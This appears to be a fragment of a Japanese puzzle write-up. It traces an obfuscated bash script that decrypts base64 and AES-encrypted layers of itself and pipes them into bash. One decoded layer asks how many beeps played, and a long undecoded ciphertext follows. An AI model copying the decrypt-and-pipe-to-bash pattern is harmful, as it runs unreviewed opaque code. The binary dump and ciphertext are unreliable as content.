P0F10OGpgfLlFGZvBimTg5DcBw3LkG9XNGZhjOgzfTRpGXhqQMr8cMPnQyrUh0DR7ZY0YLf1HWS8aGniw8mBaFO2C1tZC0rlk=
++ cut -c2,3,5,12
++ md5sum
++ echo -n 1
+ openssl aes-256-cbc -d -pass pass:4c49 -md md5
bash: line 1: syntax error near unexpected token `)'
bash: line 1: `J�e�<�%4�?�q!�l�dN��ƕ�*�[Z��p��u#v��㼗u��y�h���tz&�Jhxˣq�<��I:�n)';�������B<�z�����cy*������ �k@у�%PX~��)SBk�,Wغ%pc��D�E�����:���p��_kp��.l�B2<���ܹ{���ÃB�X��_�x{����~�$�8h���Qѳzұ�S�
                                                                                                                                                                                                   ��*.�S���yaACw�0V�C8ۅ?��t`Ñf�ѓD�����v��@
            C�#+9�0�c�'�}��H�`[�*�%��y����՜����j���]���8��F��1w盾O@)QN�B�!�4>L�vƋ*DCE;׼�OhF��tGgp�%ئ�ό-߼6j�]e'I���n���e�UsF+�'_�Br��ԕ��M���.��JR�ImȾ���oD�3�t���rh���&D�2�v8c���(l�k���b����]��o�
                                                                                                                                                                                                 �e�Pu���T\i���v7�������ݵ��������$C�ل��ׂ��/%�`���Oo�5�c:t�����W���k\�������
                                    X
                                     �*�Re��<���n��q[�Lԯ�����m�����T���Q'9X(���^}��ٍiGd���"p
                                                                                           ��6��(�V�� V��b�E*����c"`� nr��uR\�r����s��Y�#6�o[
                                                                                                                                             �@�^F���]��t��n��Ř��2b�*!��[Ţ�K���/��_5u���D��?��v^�?Y�����*.�WF�(82��|>0����    ck����W�z���·�qKɘ�h�0���-�0);�Ff�l߅l�?   ��%�&0p]
����a��UX#vü'

base64っぽい文字列をechoしている処理があるので、デコードしてみます。 3回sleepが呼ばれているようです。

$ echo ZWNobyAtbmUgJ1xhJztzbGVlcCAxO2VjaG8gLW5lICdcYSc7c2xlZXAgMTtlY2hvIC1uZSAnXGEnO3NsZWVwIDE7ZWNobyAiSG93IG1hbnkgYmVlcHM/IjsK | base64 -d
echo -ne '\a';sleep 1;echo -ne '\a';sleep 1;echo -ne '\a';sleep 1;echo "How many beeps?";

3と回答すると、正しく復号され、新たなスクリプトが実行されたようです。 Enter the password と表示されました。

How many beeps?
+ read n
3
+ export n
+ bash
+ base64 -d
+ echo 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